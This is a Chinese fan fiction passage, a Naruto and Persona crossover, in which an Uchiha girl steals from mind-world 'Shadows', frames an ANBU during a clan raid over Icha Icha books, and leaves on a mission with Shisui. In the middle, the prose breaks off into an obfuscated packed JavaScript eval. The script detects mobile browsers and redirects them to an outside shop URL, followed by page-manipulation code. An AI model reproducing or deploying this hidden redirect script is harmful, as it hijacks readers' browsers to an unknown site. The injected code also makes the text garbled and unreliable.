我不可思议地转过头看他,而佐助一视同仁、也没放过止水。他在我们之间看了看,抱臂质疑:“你们又是什么关系?认识?” 宇智波族内也不是每个人都互相认识。尤其是原身这种家里蹲,基本处于查无此人状态。 止水似乎联想到什么笑容一僵。 止水:“……” 止水伸手意图阻止:“你别——” 我握住他的手上下摇了摇,转过头看佐助坚定开口:“是建立在金钱上的关系!” 佐助:“?” 佐助瞪大眼睛:“!!” 我继续说:“从此以后,我将不论贫穷与富有,都愿意尊敬他、爱戴他……赡养他!” 显然佐助因为这段畸形的关系大受震撼,而止水:“……” 他抽回手捂住脸,沉默良久后抬头对我幽幽道:“你 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止水大概是把我不敢置信的目光当作是对成为下忍第一天就要接出村任务导致的,他表情难得的有些阴郁与无奈,在前往火影办公室接取任务的沉默路上突然开口问我:“你后悔吗?” 我第一次亲身走入这栋木叶的标志性建筑,好奇地四处张望。他一问,我叹口气:“后悔。” 我这一辈的同族大多都接受过战场的历练,活下来、甚至取得赫赫威名的那些则大多有着空洞无物的眼神——宇智波的强大总是与失去相连。 此刻那双漆黑的眼瞳正对我,当光亮暗淡、本质便往上浮现。我毫无回避,只是能感受到的并不是动摇,而是一种……悲悯?感觉又被插上一个flag的我本能露出抵触的表情。而止水平静地看着我:“即使如此……” 我接话:“即使如此我也会努力的。” “……嗯?” 我决定说的更详细点:“即使刚刚应该趁着族长心情好的时候把报销发票交上去但我忘了,我也会努力拿到报销的!” 止水:“……” 止水:“……” 止水:“……” 他对我和善一笑,竟然在为人师表的负一天就对我施加暴力。这家伙的师德怎么若隐若现——我悲伤地意识到这一点,捂住隐隐作痛的头,跟着他走进火影办公室。 三代目猿飞日斩——继四代目火影于九尾之乱中身死后退休返聘,再度端坐于办公桌之后。苍老的脸半隐在火影帽帘之后,岁月无情流逝,那双眼睛却依旧年轻敏锐如鹰隼一般……至少表面上来看是如此。 正当他看到我们进来准备开口,宇智波止水也准备拉着我行礼时…… 卡塔。 一声脖子的脆响沉默了所有人。 此刻呈现狼顾之相、成为全体注意中心的我:“……” 在踏入火影办公室的第一刻起,我就感受到了某种强烈的吸引力。 这股力量非常熟悉,似乎之前也感受过一次,但程度远不及此次。这让我原本全放在我被狠敲头顶疼痛的注意力瞬间被迫转移,脖子转动、眼睛全自动追踪到火影办公室的某个空置角落—— 我:“?” 隐藏于此的暗部鼬:“!!” 6. “今晚决定做贼。” 宇智波止水:“……” 他回头看我,眼睛好像都因为震惊而睁圆了一些。而后止水同样看了那块地方一眼,表情瞬间复杂一瞬,他张了张口,好像有些犹豫要不要说出来:“你居然……” 但他没能继续说下去,因为我继被敲头后脖子又受到重创,此时眼含热泪,止水被我看的无奈,“我不会医疗忍术啊。”他低声细语,半点没有刚刚动手时笑里藏刀的样子,最后他不得不使出杀手锏,说待会请我吃饭。 我说:“好耶!” 猿飞日斩坐在桌后看着我们,凝滞的气氛不知何时松弛了下来,他脸上甚至挂上了淡淡的笑容,用调侃的语气对止水说:“看来你们相处的不错。”仿佛我们只是两个来聊闲天的普通小辈。 止水也接住戏和他寒暄了几句,在这样你好我好的气氛之中,刚刚被审视的感觉仿佛只是我的错觉。终于在最后,猿飞日斩派发了一个C级任务给我们。 他看着我说:“止水的实力毋庸置疑,而富岳说的没错,从考官刚刚给我递交的评价来看,你的实力确实也已经足够应付。” 跟在这段话之后,猿飞日斩拿起烟枪,阴影模糊了他的脸,只能听到他感叹:“这一代的宇智波,可真是人才济济啊。” 我:“……” 族长!你在干什么啊族长!给我立flag的是你给我找麻烦的居然也是你! 入职不过几天我就已经感受到了职场环境的险恶,真正的寒心不是大吵大闹,我意兴索然地接过止水手上的任务卷轴,扫眼看去: 情报交接任务……早些时候一个别国忍村派遣的间谍在撤退时被木叶方面放长线钓大鱼,挖出一块间谍据点并反向钉入了一颗钉子。止水班的任务就是与线人接头,传递情报。 因为线人目前活动自由,我们只需前往约定好的地点碰面即可,所以被归类为了C级任务,也就是下忍能接触到的最高等级的任务。 止水听到这个结果是富岳推动的后抿了抿唇:“虽然如此,可她现在还没有任何出任务的经验……” 猿飞日斩打断他:“这是经过商讨评估后的结果,止水班的另外两名成员会在明天到位。止水、绪,今晚回去好好做准备吧。” “更何况……”猿飞日斩点我,“你的学生看起来倒是很有自信呢。” 止水回头,我指着酬金那一栏抬眼看他,语调抑制不住的激动:“三!万!两!” 他:“……” 走出火影办公室时,我特意又看了一眼之前看向的地方,但此刻它丧失了那股吸引力。我想起那一瞬间再度波动水波纹的视野,以及一闪而过漆黑的人影……我怀疑这或许和我变异的写轮眼能力有关。 而上一次、同样让我转过头但那时没有引起我注意……正是与漩涡鸣人前往烤肉店的时候。而那时候我无意间看向的是—— 宇智波止水浑然不知我复杂的心情,他问我:“你之前看那边,是因为发现了暗部藏身在那?” 我看着他,因为摸索到了能力的真相边缘而心情沉痛道:“不是,是替身使者在互相吸引。” 止水:“……啊?” *** 在两人走出火影办公室后—— 戴着白犬面具、暗部打扮的宇智波鼬半跪于地,猿飞日斩点燃烟草,白雾翻涌,吞没那张岁月深刻的面容:“她居然发现你了?” 宇智波鼬沉默,想到那双不偏不倚看过来、钴蓝冰冷的眼睛:“……是的。” “你隐匿起身上的气息时,有时我都会忽视你。”猿飞日斩似乎是在思考,“她甚至几天之前才开眼,难道说是天生的感知忍者?” 宇智波鼬委婉道:“可她连自己被监视都不知道。” “是真的不知道还是假的不知道?”这一句带着质疑深意的话语很快被带过,猿飞日斩又说,“宇智波绪昨日和你弟弟在一起?” 前一日村里身份极度敏感的九尾人柱力才和她搅和在一起,漩涡鸣人甚至单方面认了宇智波绪作大姐头——这一点和当日被严厉处罚、真正悔改却是在和她对练后的言川小和的资料一同呈到火影桌案上。 “……啊,是的。”宇智波鼬低着头,嗓音平淡而没有任何个人情绪,“佐助当时在找我,河岸边遇到了止水和她,他们正在学习三身术。” 烟草味在房间四散,猿飞日斩深吸口烟:“而宇智波绪表现出了惊人的学习能力。” 在开启写轮眼之前籍籍无名,从未表现出成为忍者的天赋,忍校的毕业考试连续三年失败后似乎就已经放弃,第四年上学三天打鱼两天晒网,靠着宇智波族内对烈士遗孤的补贴,绝大部分时间都花在请假在家看闲书上。 这是暗部对宇智波绪的调查结果。 宇智波这个姓氏未曾为她添上一份辉光。她的一生似乎注定将按照时代内绝大部分人的模板度过,嫁人育子、生老病死……泯于众人。 而今日负责毕业考核的上忍回报的却是:“出色的灵敏度、反应力、决策力,战斗时的冷静让人印象深刻,对写轮眼的运用也趋于熟练。目前稍显青涩,但经验补足后绝对前途无量。” 猿飞日斩:“距离她开眼不过数天,写轮眼能带来如此巨大的改变?而她掌握、运用写轮眼,同样不过数天。” 他提出更尖锐的一点:“激发她开启写轮眼的情绪从何而来?” ——恐婚恐育。 这个被暗探在第一时间呈递给火影的答案同时出现在两人心间,随即让气氛更为沉默。 宇智波鼬回想宇智波绪看来的那一瞬间:那双眼睛是与宇智波印象截然相反的秾丽蓝色,纯粹而冰冷,带着直透人心的锋芒——他甚至有种错觉,那一瞬间宇智波绪直接看向了他的本心、看清了他的所有挣扎。 但宇智波鼬又迟疑着否认了这一点,因为她既没有因为他的挣扎而展露惊讶,也未曾因为他的痛苦而显露同情——她警示而冷淡地看过他后,便转回头跟随在宇智波止水身后。 与他道路相同的朋友——挚友,宇智波止水露出无奈的表情,低头向她作出承诺。大概是天才的通病,宇智波止水表面温和,实际也是绝 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话里话外都是透着此人可疑,必须要查的意思。团藏对宇智波的态度向来激进,猿飞日斩作为木叶高层中稳健派的领头人,为维护两方平衡必定不能完全依照他的想法行动,耷拉着眼皮不轻不重刺了他一句:“最终调查结果同样送到了一份在你桌上,团藏。” 严密监视宇智波族地的暗部之中,也有不少团藏插派进去的探子。火影能得到的情报,他团藏同样有渠道获得。 猿飞日斩记得他当时带着看热闹的心思念出答案,团藏那张素来阴沉的脸露出被哽住表情的样子让他难得的感到愉快。 他说明叫来团藏商讨的原因,宇智波富岳提出要让宇智波绪提前进行毕业考试以及下忍资格的认定,彼时一个三勾玉写轮眼对宇智波或许意义重大,对整个村子却是算不上什么。 猿飞日斩答应了,但他心知肚明宇智波富岳在打什么算盘:他希望尽快将宇智波绪磨砺成一把锋利的刀,与其他人一道成为破开宇智波在村中的困局而积蓄起的力量。但他的想法或许并不利好村子。 两个宇智波的年轻人与父辈走上相反的道路。宇智波止水继承祖辈宇智波镜对火之意志的理解,并教导给了富岳长子宇智波鼬。他们将村子摆在比族群更高一级的位置。 因此在团藏提出可以答应富岳的要求、但需要安插自己人时,人选落到了宇智波止水头上,富岳那边表示差强人意。于是本就因为理念不和而被日益边缘化的宇智波止水便从警务部退出,转而成为担当上忍。 事情发展到今天,猿飞日斩觉得他初时的判断依旧没有出错——宇智波绪并不足以影响大局,但她身上确实存在可疑之处。 最终他对鼬说:“继续关注吧。” *** 我从止水那里白蹭了一顿饭,心情极好地回家。 止水走在我身侧——毕竟我们住一个族地,他把我送到门口,便打算与我告别:“明天见。” 我挥挥手,真诚道:“明天见。我打算睡了。” 止水点点头,看起来并未怀疑我的话,他和煦的和我道晚安。等到他的身影消失在道路尽头,我立即从窗户翻出来。 睡觉是不可能睡的。 今晚做贼。 7. “宇智波风纪整顿!” 宇智波族地守卫重重,想要悄无声息绕开卫队几乎是不可能的事情,至少我现在做不到。 所以在止水离开后,我从窗户翻出来,光明正大走了反方向的路绕去族地中心地带——富岳宅的周边。 虽然自搬迁后族地越发封闭,但宇智波传承已久,人口数量上来后,夜晚的街道也算是热闹。我走在其中,表面淡定实则一直警醒地关注周围,生怕某个转角就撞上宇智波止水,然后我们俩面面相觑,我说好巧,他再回我一句好巧,原来你也没真的去睡。 ……想想我就已经要开始脚趾抠地了(沉痛) 好在这种恐怖的事情最终没有发生,我从书店里捧着刚买的小说走出来,在一个路边小摊坐下来,老板将饮品放到我的跟前。 此时有不知名宇智波从我身旁经过,朝着我指指点点: “又是一个控制不好情绪的年轻宇智波。” “三勾玉呢!” “看看她在看什么?” “我瞅瞅,亲热……《亲热天堂》?!” 此时我并不知道热心宇智波已经在呼叫警卫队过来扫黄打非,依旧捧着特意嘱咐店家给我挑选的、“最能刺激情绪的那种”——我当时在老板的挤眉弄眼里这样形容——的小说,实际心思根本没放在文字上面。 三颗勾玉合情合理地在我眼中旋转,用余光瞥视富岳宅,我在心里默念: 宇智波鼬。 宇智波族地内环。 ……家?牢笼?墓地? 姓名、地址、象征,游戏中想要进入BOSS们围绕扭曲欲望演化的、基于现实建筑构建的心灵宫殿,必须要准确提供这三样答案。第一个很简单,第二个大差不差,而最后一个问题——宇智波鼬把富岳宅当作什么,这一点我实在拿捏不准。 随便乱试了几个后,我看着毫无改变的视野,一时之间也弄不清楚这是答案出错,还是实际根本不存在心灵宫殿的设定……又或者说,是我的写轮眼等级太低? 目前三勾玉状态下,我可以通过在写轮眼下与他人对视,直接进入对方的心灵世界。而【暗影】——比如那个黑化版言川小和,就是游戏中对人格阴暗面具象化的称呼。正是因为存在暗影以及击败暗影后确实可以让罪人悔改,我才会联想到或许这里同样存在心灵宫殿。 我的猜测是写轮眼在本身具备的能力外,额外承担了游戏本体中主角手机里异世界APP的功能:链接现实与心灵世界。我有一种预感,如果我能开启万花筒,关于我能力的答案就会自然而然揭晓。 不过现在嘛…… 我随便翻了几页小说以掩饰我乱飞的眼神,来富岳宅碰碰运气只是今晚的目的之一。白天我在火影办公室所见到的那个暗影脸上的八字纹实在是太具标志性,让我想装作不认识都不行。 所以我本来是准备来看看柿子软不软……不是,看看能不能快刀斩乱麻、将邪恶宇智波绳之以法,但既然暂时不行,我就顺势将方向转向我的第二个、也是最重要的目的。 我顺着那股无形之中的吸引力,偏过头与一个面露惊讶的路人宇智波对上眼——实际发动能力不需要大喊一声偏铝酸钠啦!当阴影再度扭曲攀爬而出、进入对方的心灵世界中时,这一次的我没有再一个DNA颤动口出中二之言,而是趁其不备,一拳打倒正要开口凑字数的暗影宇智波。 ——你扭曲的欲望,就由我收下。 原作里极为帅气的怪盗台词由我开口:“你爆出的金币,就由我收下。” 正要跪地痛哭悔改的暗影一噎:“……” 这次我长了心眼,开宝箱……不是,伸手的时候摒除杂念,仔细回忆木叶流通货币该长成的模样。片刻后我目色一凝,回手一看,成功收获火之国官方货币五千两! 我动力大增! 暗影原地消散,我收好钱袋,感受到停留在心灵世界时体内查克拉的不断消耗。但还好,应该还能坚持我继续探索一阵。我闭上眼,放任自己顺着一刻不停的拉扯感向更深处沉入—— 游戏本体里,人类的集体潜意识被称作印象空间,隐藏于东京的地下。而当我睁眼时,我发现我正身处一棵巨大树木的底部,它的根须遮天蔽日,其下宛如迷宫层叠,无数面目模糊的暗影于间隙之中游荡。 真的成功了! 我眼睛一亮,看它们眼神亲热如看家人,大有今晚我要发财之感。然而打脸来的很快,我被打了孩子来了爹的相亲相爱一家人追的慌不择路,四处乱窜后一头撞入一个相对独立的空间。 暗影富岳看我一眼,阴影浓厚的脸上露出属于资本家的冷酷神情:“你怎么在这。任务做完了吗?能力提升了吗?为宇智波鞠躬尽瘁了吗?” 我:“……” 暗影富岳:“年轻人怎么能不拼搏,好好干,下一个升职加薪的就是你。*” 我:“……” 暗影富岳:“等我们宇智波以后做大做强,你就是木叶的元老,到时候待遇肯定差不了。*” 我:“……” 我:“……” 我:“……” 悔改吧,富岳。 虽然此刻没有一股强劲的音乐响起,但在一场惊险刺激的打斗之后,我成功击败暗影富岳,将他挂上路灯……不是,让他痛改前非。在他喃喃自语不该给宇智波年轻人们这么大压力时,我扒拉掉落物品的手一顿,突然灵机一动。 我抬头,语调控制不住的上扬:“族长大人请慢!” 暗影富岳:“?” 我说:“记住我,我叫宇智波绪!” 他迷惑地吐槽我:“你刚刚还说不要叫你宇智波绪,叫你心之怪盗。” 我义正言辞:“时代变了大人!臣请命为宇智波开疆拓土,重铸宇智波荣耀吾辈义不容辞——经费明天给我审批一下吧求你了老板!” 我图穷匕见,打算将烤肉发票趁机混入,清空负债迈出成为忍者世界第一富翁的征程第一步……我创业未始而立即崩殂。 宇智波止水收回正义之手。而暗影富岳在承诺我之前已然消散。 我捂着头跳起来,愤怒非常:“大胆暗影!断我财路如……不是,你知道你在做什么吗!” 止水微笑看我,毫无愧疚之心:“怎么了 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宇智波止水看起来很不懂适可而止的道理,他又问我:“让我悔改是什么意思,也和你的能力有关系吗?” 他戳戳我:“说话说话。” 我:“……” 止水晃晃手铐,我一怒之下怒了一下。想要成为下克上成功的狂野下属,这就是我的新年愿望。 而现在,我说:“好过分。” 在他疑惑看我时,我率先指责他:“你叫我去睡觉,自己却偷偷熬夜。” 止水:“……” 我义正言辞:“悔改吧你!” *** 针对宇智波族地的监视第xx天。 富岳宅动向正常、南贺神社动向正常、宇智波整体正常……那位三勾玉和指导上忍道晚安了,她回家了,她出门了。 她来到书店购买一份《亲热天堂》,在街边坐下,翻看起来。 由三忍之一的自来也大人亲笔撰写的亲热系列自发布后就在火之国大受欢迎,因不良书店老板不长眼睛、试图推销给某位少年老成的宇智波而被族长于族地内封禁。 维护清朗宇智波族地秩序,营造良好宇智波精神文明环境。宇智波人人有责! 接到举报的宇智波警卫队光速出警,书店被迅速包围查封,当事人表示后悔,非常后悔。 吃瓜暗部隐藏在高处,全然沉浸在摸鱼的快乐之中,竟然没注意被顺带监视的三勾玉是什么时候从人群里消失的。 等他回过神来时,已经到了换班的时间。 暗部正欲继续吃瓜……不是,义务加班,却突然对上一双流转血红光芒的眼睛。对方侧身背月,黑发在夜风中扬起,此刻面色冷淡地看着他。 暗部:“……” 暗部:“……!!” 而不远处的下方—— “宇智波风纪整顿!” “男的在左女的在右!靠墙站好不许说话!*” 8. “此人秽乱宇智波。” 印象空间与现实的位置似乎并不对应,到最后我的查克拉支撑不住,和止水一同被迫从中跌落出来。我的身处之地莫名从一开始的路边小摊转移到了周围高高的屋脊之上。 等我立稳回过神来时,面前一个暗部已经以真男人的手速摘掉面具、改变形貌,他紧盯着我,额角滑落一滴冷汗。 而我只来得及看他一眼,注意力立即被下方的吵闹吸引: “宇智波风纪整顿!” “男的在左女的在右,靠墙站好不许说话!” 街边书店旁的小巷内,一个个宇智波分性别靠向两边,有的一脸懵逼,有的则是脸上带着些许惊慌。拜写轮眼极佳的视力所赐,我很轻易地就看清楚了那些显出慌乱神色的宇智波都被警卫队成员反扣在墙上,然后从身上收缴出来…… 我往袖子里一摸,意识到什么后,一滴冷汗缓缓从我额角滑落。而更让我有汗流浃背之感的,就是小巷里男左女右、界限分明,唯独那空出的、万众瞩目的C位上,站着的一个显眼的、表情明显有几分迷茫的卷毛。 我:“……” 我表情镇定地撇开头,假装没接收到止水反应过来后向我投掷的刀子般的眼神。 此时已经有警卫队的成员认出他,看得出来止水在警卫队里很受尊敬,但似乎在现在这不算是好事,比如其中一个人立即很热情地招呼止水:“止水哥你怎么在这?难道也是……呃?” 他像是意识到什么,表情微妙地住了嘴。他身边一个年长些的成员则是狠狠肘击了一下这个说话不过脑子的宇智波卧龙,打着哈哈圆场道:“说什么呢,止水哥怎么可能会来参加共庆亲热系列出版x年·暨宇智波同好分享会……不是,你们别这样,不要这么看我——我、我和赌毒不共戴天!” 在周围人愈发微妙的目光里,这位说话很过脑子的宇智波凤雏最后不得不并起两指对天发誓。 止水:“……” 我:“……” 很好,现在我也知道这里原来是在开共庆亲热系列出版x年·暨宇智波同好分享会了。召集人即书店老板双手被反铐在背后,已经垂头丧气地被押送离开。 除了气氛尴尬的令人窒息外,所有人竟然对我们这两个突然出现的人毫不感觉到意外,仿佛是在脑海里自动为我们编排好了理由。我意识到这点,立即有了理由可以理直气壮逃避底下止水杀人般的视线,转而盯着面前的暗部——也是我在现场的唯一目击证人。 他:“……” 他汗流浃背了。 但还没等我想办法杀人灭口……不是,挽回局势,此刻置身众人视线中心的宇智波止水丝毫不顾我们还没开始好像就要结束的师徒情谊,他仰头看着我笑起来,格外开朗道:“好巧,你原来也没睡啊。” 于是警卫队成员的目光立即唰唰如探照灯向我投过来,我:“……” 从一双写轮眼变成被十几双写轮眼瞪着的暗部:“……” 能进入警卫队的宇智波也不是傻子,立即有人质疑道:“你们站在屋顶上干什么?” 想到附近不远就是族长家,这位嫉恶如仇宇智波脸色一变,立即警惕道:“喂,你们两个,马上下来接受调查!” 我:“……” 我在止水看热闹的眼神里沉默一瞬,想到绩效可能被扣光的悲惨前景,立即下定决心,以迅雷不及掩耳之势把袖子里藏着的亲热天堂往跟前暗部手里一塞,在他大受震撼的眼神里正义凛然、掷地有声。 我说:“等等!” “我要举报!我要告发此人秽乱宇智波,不是好人!” *** 警卫队总部—— 夜晚的警卫队大楼依旧灯火通明,值班的宇智波刚收到消息族地查获大规模□□物品传播案,没过多久大楼内空闲的审讯室就被塞入了案件数名主要嫌疑人。 书店老板首先坦白罪行,“我不该私下组织非法聚会。”他瞥着富岳像是被强行从老婆孩子热炕头里拉出来的炭黑脸色,表情越发沉痛,“说到底,我做的最错的一件事就是我当初不该试图把亲热天堂卖给鼬君……咳。” 他低眉顺眼地垂下头,富岳锐利如刀的眼神转而投到我和身边的宇智波止水身上。他面无表情地听完我的申辩:“所以你的意思是?” 我一口咬定:“我是见义勇为、揭发罪恶的热心路过宇智波。” 老板兀自悲伤,并没有想起来指认我也去买过书。而被我陷害……不是,主动选择顺水推舟的暗部则是面露菜色。 此刻用了化名、在组织派人来捞他前誓死不能暴露身份的暗部痛苦闭眼,深吸一口气,用气若游丝的声音承认了自己的所作所为。他咬牙切齿:“没错,是我……都是我!” 宇智波止水:“……” 他无话可说,和富岳对视一眼后,一个垂下眼睫,一个表面不动声色、实际赞赏地看了我一眼。 富岳:“你们两个先在外面等一会。” 我从那张线条严肃冷硬的脸上看出一种即将要把还不知道事情严重性的暗部小哥敲骨吸髓的险恶。 我:“……” 我的良心好像有点痛。但想到我此刻身处宇智波的立场——主要是我的绩效由富岳发放,那点疼痛便像是一瞬的幻觉消散了。 我和止水一同在外面的走廊里找了个位置坐下。 虽然是晚上,但走廊里也依旧是人来人往,不是什么谈话的好地方。因此他只是看我一眼,没有再继续印象空间里我们的话题——关于我的能力、我的目的。 当时作为交换,他透露了他自己的情报:万花筒写轮眼。这一点我十足惊讶了,毕竟这意味着……他可以开高达诶!同时我也大致明白了他没有暗影、但却让我的雷达动了的原因——居然真的被我的胡言乱语说中了:替身使者是会相互吸引的。 宇智波止水也可以进入心灵世界,但必须通过我。他让我想起原作里怪盗团的伙伴……说到底,一个人怎么能叫怪盗团啊! 主要是之后要推宫殿,以宇智波鼬的邪恶程度来说我相信我打不过他的暗影。而我能感觉到止水也一直意图在我身上考量什么,总之我们俩算是各怀鬼胎。在止水因为被昔日同僚不断搭话(八卦)而脸上笑容越来越灿烂的同时,一位冷酷路过的白发半覆面系帅哥拯救了我。 止水:“啊,卡卡西前辈。” 他脚步一顿:“是你啊……止水。” 我看过去,发现和动画时间线里已经称得上温和的样子不同,这时候的卡卡西大概二十出头的年纪,表情冷淡,护额斜戴,一只眼睛被妥善的遮住。倒是衣服不是那身经典皮肤,紧身的黑色打底外套了宽松的外套,袖子刚好遮住手臂上半。 他看了我一眼:“听说你要转为担当上忍了,她就是你的学生吗?” 都是一个上忍圈子的,曾经也是暗部之一的止水笑着点头:“卡卡西前辈不也是吗,退出…之后打算成为担当上忍?”他模糊掉中间那个词。 “最近被派了很多杂活,完全没心思考虑这些。”已经被三代安排用真实身份活跃一段时间的卡卡西简单地回答了,而后没再顺着他的话题,直接问,“富岳大人在吗?” 暗部小哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022579|148724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心软的神出现了。按照卡卡西的说法,过来捞人也算三代派给他的杂活之一。我一听,DNA又不由自主动了:“有加班费吗?” 卡卡西:“没有。” 我沉默一瞬,然后再度重申:“我要成为火影。” 止水:“虽然总觉得不能深问,但总之还是问一下,为什么?” 反正富岳一时半会不会主动出现,卡卡西此刻也看着我。 我说:“我要创造一个有劳动法的世界。” 止水:“我支持你。” 卡卡西:“我支持你。” 等到富岳出来时,我已经在竞选生涯里获得了最初的两票。卡卡西对上富岳,像是避免成为点燃炸药桶引线的第一颗火星,两人默契地没有提及任何有关监视的字眼,全程围绕“宇智波族地内贩卖亲热天堂算是传播□□物品”和“亲热天堂是艺术怎么能用区区□□物品概括”。 最后卡卡西惜败总结:“没品。” 富岳冷笑送走他,转回身看向我们,原来是要交代明天的出村任务。他最后和我总结说,任务表现的好的话,多经历几次积攒经验后我就可以参加今年的中忍晋升了。 下忍-中忍-上忍,村子里普遍的晋升路线,而富岳说:“宇智波有另外的选择,在你成为中忍之后,我可以推荐你入职警卫队。” 听起来像是大领导愿意罩我的意思。我的眼神犀利起来:“那么警卫队的工资是?” 他看我一眼,用手指比出工资大概的数字。 我:“……” 我正色道:“不了,我的目标是成为火影。” 富岳:“要是我年轻个二十岁,我也会把成为火影定为人生目标。” 我:“那我可是正当年纪。” 看出我软硬不吃,富岳暂时也不急着催我站队,冰冷的现实是会浇灭年轻人火热的梦想的。而在他去借由此事为宇智波争取好处之前,我抱着一丝期望,再度提起与暗影对话的话头。 止水:“……” 他也关注地看向富岳。而富岳眉头一皱,好像真的想起来了什么。 他说:“你是不是要……” 我面露期待。 富岳:“你是不是要提交任务申请表?” 我:“……” 止水:“噗。” 可恶,是经费审批表啊!果然还是没有悔改成功吧! *** 第二日一早,止水班集合。 我精神萎靡,依旧是一身不用思考的宇智波族服套装,卡在迟到的边缘到达。因为不习惯在头上绑东西,我把木叶发放的、印证身份的护额挂在了腰间的忍具包上——说实话我临时抱佛脚的内容不包括忍具,背上长刀的那份重量更是让我感觉怪怪的。 我的新队友们早已等在村子门口,看到我出现时是一副看到标准宇智波了的见怪不怪。他们并不是和我一样刚毕业的菜鸟新人,而是因为曾经的一位队友在一次任务中牺牲,所以被重新安排与我组队。 至少资料上是这么说的。 忍者小队基本都是一女二男的三人配置,一个看起来比较腼腆的男生叫做椿,另一个紫色头发、穿着潮流露脐装的男生自我介绍叫做信。 稍显冷淡的队中气氛折射出一部分宇智波在村子里的风评与境遇,我点点头:“宇智波绪。” 在主动和叫做信的男生对视后,他看起来有些惊讶,然后朝我露出一个看似友好的笑容,至少在面上一点看不出他心里有鬼……不是,心里埋藏暗影的端倪呢。 雷达又被触动的我感觉到心累。 9.“嘿嘿嘿尸体在说话。” 有时候我也挺绝望的。 想想世界观黑深残如火影,阳光开朗如幼年带土都能活活被逼成反派大BOSS,在这个鬼地方当心灵怪盗就算钱途大好,也得看看自己能不能扛得住这个工作量。 更何况……我扭动了一下开始幻痛的脖子,庆幸这次可能是因为信的暗影还不够邪恶,所以并没有让我梅开二度,再现火影办公室里的社死现场。但与此同时,一个我一直不愿直视的问题浮现了出来—— 按照这个暗影的密度,我简直是被太阳包围的向日葵,惨烈程度大概可以类比为被扔进成龙堆里的椅子。 要是有强大暗影的敌人位置出现的刁钻一点,我岂不是要成为木叶历史上死亡方式搞笑评选第一人?想到这里我忍不住啧了一声。 本来意图与我搭话的信脸上的笑容顿时僵住,他:“……?” 而止水不知道迷路到了人生的哪条道路上,现在才姗姗来迟。他从我背后出现时,不知为何也微微睁大了眼睛看我。 止水下意识看了看还算早的天色,开口打破此刻莫名有些凝滞的气氛:“……怎么了?” 我从思考中抽离看到他,立即露出一个看工具人……不是,看亲人的亲切眼神。我说:“我有一个愿望。” 已经很自然成为我的捧哏的止水沉默一瞬,下意识接话:“什么愿望?” 我说:“我要将一切邪恶绳之以法。” 我要先下手为强! 我并没有注意到此刻信瞪大一瞬眼睛、一脸被点到了的样子警惕看向我,而短短几日已成为了解我第一人(?)的止水在短暂发表了六个点的看法后,他在我殷殷的视线里勉为其难的、做足心理准备的问我:“不错的愿望。所以?” 我用和许愿时同等的虔诚开口:“所以这辈子你千万要做个好人啊!止水老师!” 止水:“……?” 止水:“……” 止水:“。” “虽然不知道这次又是为什么……但是,”他此刻露出了超级后悔的表情,“肯定是我接话的错。所以说我为什么要问你?” *** 终于集合完毕后,止水用上忍该有的优秀逻辑以及语速解释了我们这次任务的变动。 线人约定的地点在草之国与火之国的交界地带,时间是十天之后。止水班从位于火之国中心地带的木叶出发,时间是足够散步过去的充裕,“但是火影大人早上传唤了我,任务期限现在被缩短到了五天。”止水在我依旧殷切的视线里几乎是一口气总结道。 出身日向分家的椿相对内敛,信却是开朗到有些咋咋呼呼的性子,比如现在,他就擅自替我回答了止水之后的提问:“诶,没关系吧——也就是期限缩短了一半而已,对忍者来说绰绰有余啦。” 椿下意识点头,毕竟对于他们两个甚至出了不少次B级任务的中忍来说,控制查克拉长时间奔跑已经不是难事。至于队伍中唯一中忍以下的那个队友…… 我问:“草之国在哪?” 对于距离根本没有概念的我在听完解释的下一秒,立即将踏出的脚步坚定地调转回背后的木叶大门,“有点困了我先回去睡一觉。”谁家好人跑步三千里出差啊! 椿说:“等等、这是任务!” 信用激将法:“宇智波的天才连区区C级任务都不敢接吗?” 而止水:“酬金翻倍了哦。” 我:“……” 我:“……” 我:“……” 我举手:“我有一计!” 我在众目睽睽之下发出了属于资本家的邪恶声音:“我们用两万两重新雇佣一个小队吧!” *** 我的献策最后被无情否决。 并且不知为何,我的队友对我好像抱有深厚的滤镜。在我坦然开口说我不会查克拉跑的时候,坚持称呼我为宇智波的天才的信姑且不提,就连椿都露出你装的我不信的怀疑表情。 因此当我站的铁骨铮铮时,两人身体不约而同的微向前倾,调整出一个方便发力的姿势后,纷纷回头用无声的视线催促我。 我:“……” 而止水——这个天下师德共一石,他倒欠一斗的家伙,若无其事地收回了屈起的、一看就意图往我头上敲的手指,在我警惕的眼神里丢了几个卷轴给我:“你先看看吧。” 我接过一看,一秒、两秒、三秒……我镇定地把这套忍者入门必读系列读物塞回卷轴然后物归原主,把涌至嘴边的哈欠强行扭转为语气坚定的开口。我说:“不用看了,我明白了。” 下一秒,我抬眼,在队友本能的眼神回避里动用了写轮眼。 …… 在第四天的时候,我们就抵达了与线人约定的边境城市。 顺带一提,自从有我用写轮眼作弊……不是,拷贝的前科之后,我的队友现在对我一律都是“早就说你是装的”“我就知道”的类似这种涵义的表情。甚至在我试图用赶路途中见缝插针学的宇智波家传火遁烤鱼时,坐在一旁、差点被我燎卷一头紫毛的信都大笑着鼓掌说:“不愧是宇智波的天才,连火遁的火候都掌握的这么好。” 我:“……” 什么火候,烧你头发的这种吗? 我大受震撼。 我的这种震撼在一路上信用洋洋自得的语气提起他的弟弟的时候达到了新高峰。如果说信夸我的时候是近乎激将的、想让我展露更多能力的公式化,在提及他弟弟的时候,可就是让我怀疑他接下来能真情实感夸他弟弟吃饭不漏米、或者是能自己拿筷子吃饭的这种极具创意的角度。 ……最离谱的是,止水虽然对细节部分不敢苟同,情感部分却是积极肯定。而内敛腼腆的椿同学,也不知道想起了谁而露出一个同款笑容。 我:“……” 如果这真的就是木叶的平均水平,那有一句话我不得不说。 太吓人了,你们木叶兄弟情。 此刻的我不知道很快还能有让我往这句话后面连加三个感叹号的恐怖场合,在第五天到来之时,这个本就波折的任务竟然又出现了新的幺蛾子。 根据任务给的情报,当初岩忍村在向木叶派遣暗探之后,木叶方面很快察觉并反向打入了敌人内部,回撤的据点就选在火之国与草之国交界处的一个小城之中。 